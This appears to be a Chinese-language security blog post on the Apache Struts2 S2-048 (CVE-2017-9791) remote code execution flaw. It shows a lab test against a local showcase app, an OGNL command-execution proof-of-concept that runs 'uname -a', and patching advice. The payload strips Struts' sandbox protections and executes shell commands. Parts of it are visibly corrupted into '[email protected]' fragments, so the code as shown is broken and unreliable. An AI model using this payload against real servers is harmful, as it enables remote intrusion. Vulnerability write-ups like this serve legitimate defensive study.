S2-048 遠程代碼執行漏洞檢測利用

2017年7月7日,ApacheStruts 發佈最新的安全公告,Apache Struts2的strus1插件存在遠程代碼執行的高危漏洞,漏洞編號爲 CVE-2017-9791(S2-048)。攻擊者可以構造惡意的字段值通過Struts2的struts2-struts1-plugin插件,遠程執行代碼。

漏洞記錄

S2-048
CVE-2017-9791
Struts 2.3.X
http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action
影響範圍非常小

漏洞檢測利用

根據官網說明,可知漏洞產生的原因是將用戶可控的值添加到 ActionMessage 並在客戶前端展示,導致其進入 getText 函數,最後 message 被當作 ognl 表達式執行所以訪問 /integration/saveGangster.action 構造payload
在這裏插入圖片描述
發現執行1+1,並顯示在屏幕上
在這裏插入圖片描述
命令執行poc

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}

在這裏插入圖片描述

修補意見

1、臨時解決方案:通過使用 resourcekeys 替代將原始消息直接傳遞給 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 無奈解決方案:不啓用struts2-struts1-plugin插件

3、 根本解決方案:建議升級到最新版本
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章